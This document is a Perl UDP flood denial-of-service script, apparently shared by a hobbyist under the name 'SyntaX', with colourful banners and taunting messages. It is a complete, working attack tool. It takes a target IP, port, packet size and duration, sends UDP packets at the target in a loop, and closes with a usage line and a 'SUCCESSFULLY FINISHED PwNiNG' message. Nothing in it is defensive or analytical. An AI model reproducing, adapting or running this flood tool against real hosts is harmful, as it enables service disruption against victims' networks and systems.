<Syntax> Perl Dos Script

<--{MADE 2/18:14} @8:33AM By Me-->

SCRIPT STARTS HERE:

#!/usr/bin/perl

##
# <SyntaX>
##

use Socket;
use strict;
use Term::ANSIColor;
print color 'Blue';

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Failed resolving hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "

--------------------------------------------------------------------------------\n";
print color 'reset';
print color 'Red';
print"
         <<<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>>>
                                     ~SyntaX~                           \n";
print color 'reset';
print color 'Green';
print <<EOTEXT;
        ¦¦+¦¦¦¦¦¦¦+¦¦+   ¦¦+¦¦¦+   ¦¦+¦¦¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦+  ¦¦+¦¦+
       ¦¦++¦¦+----++¦¦+ ¦¦++¦¦¦¦+  ¦¦¦+--¦¦+--+¦¦+--¦¦++¦¦+¦¦+++¦¦+
          ¦¦++ ¦¦¦¦¦¦¦+ +¦¦¦¦++ ¦¦+¦¦+ ¦¦¦   ¦¦¦   ¦¦¦¦¦¦¦¦ +¦¦¦++  +¦¦+
      +¦¦+ +----¦¦¦  +¦¦++  ¦¦¦+¦¦+¦¦¦   ¦¦¦   ¦¦+--¦¦¦ ¦¦+¦¦+  ¦¦++
       +¦¦+¦¦¦¦¦¦¦¦   ¦¦¦   ¦¦¦ +¦¦¦¦¦   ¦¦¦   ¦¦¦  ¦¦¦¦¦++ ¦¦+¦¦++
        +-++------+   +-+   +-+  +---+   +-+   +-+  +-++-+  +-++-+
EOTEXT
print "                                What Just happened?!
                    I think i pressed a wrong button.
                    I think Ctrl+C is to Stop?\n";
print color 'reset';
print color 'Red';
print"         <<<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>>>
\n";
print color 'reset';
print color 'Yellow';
print           "                 CURRENT: $ip :: port " .
($port ? $port : "random") ." ".($time ? ":: $time seconds" : "
                            Ohhh Shnap. What's this do?

") . "\n";
print color 'reset';
print color 'blue';
print "
--------------------------------------------------------------------------------
\n";
print color 'reset';
print color 'green';
print "Ctrl+C = STOP\n";
print color 'reset';
print color 'white';
print "I don't know what im doing, im just putting numberz in here! ;p\n";
print color 'reset';
print color 'green';
print "TIME STARTED: ";
print scalar localtime ();
print join (":", (localtime));
print "\n";
print color 'reset';
print color 'red';
print "\nI feel bad for: ";
print "IP: $ip  Port: $port Size: $size bytes   Time:$time seconds\n";
print color 'reset';
print color 'white';
print"              <---IM PwNiNG--->";
print color 'reset';
print color 'white';
print "\n";
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}
print "\033[2J";    #clear the screen
print "\033[0;0H"; #jump to 0,0
print color 'reset';
print color 'green';
print "RAN AT: ";
print scalar localtime ();
print join (":", (localtime));
print "\n";
print "IP: ";
print color 'reset';
print color 'red';
print "$ip ";
print color 'reset' ;
print color 'green';
print ":: PORT: ";
print color 'reset';
print color 'red';
print "$port";
print color 'reset';
print color 'green';
print " :: SIZE: ";
print color 'reset';
print color 'red';
print "$size ";
print color 'reset';
print color 'green';
print ":: TIME: ";
print color 'reset';
print color 'red';
print "$time ";
print color 'reset';
print color 'yellow';
print" =";
print color 'reset';
print color 'green';
print " SUCCESSFULLY FINISHED ";
print color 'reset';
print color 'red';
print "PwNiNG!\n";
print color 'reset';
print color 'red';
print "{ ";
print color 'reset';
print color 'green';
print "COMMAND: ";
print color 'reset';
print color 'yellow';
print "Perl syntax.pl IP PORT SIZE TIME ";
print color 'reset';
print color 'red';
print "}\n";
print color 'reset';
print color 'white';